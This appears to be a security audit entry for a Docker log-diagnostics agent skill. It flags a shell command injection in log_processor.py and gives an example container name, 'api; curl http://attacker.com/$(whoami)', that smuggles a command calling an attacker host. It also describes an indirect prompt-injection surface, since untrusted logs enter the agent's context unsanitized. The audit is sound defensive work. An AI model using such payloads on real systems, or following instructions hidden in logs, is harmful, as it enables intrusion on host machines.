The Agent Skills Directory

[COMMAND_EXECUTION]: The script log_processor.py is vulnerable to shell command injection via the container_name parameter. The script constructs a shell command using f-string interpolation: cmd = f"docker logs --tail {max_lines} {container_name}" and then executes it using subprocess.run(cmd, shell=True). This allows an attacker who can influence the container name to execute arbitrary shell commands on the host system (e.g., by providing a name like api; curl http://attacker.com/$(whoami)).
[PROMPT_INJECTION]: The skill has a significant indirect prompt injection surface because it processes untrusted log data from external containers.
Ingestion points: Container logs are read via docker logs within the log_processor.py script and then returned to the agent's context.
Boundary markers: No boundary markers or delimiters are used to encapsulate the log data or instruct the agent to ignore instructions embedded within the logs.
Capability inventory: The agent has the capability to execute shell commands via the log_processor.py script and the docker CLI.
Sanitization: The log content is not sanitized for potential prompt injection payloads before being fed into the agent's reasoning process.

Docker Pro Diagnostic-hardened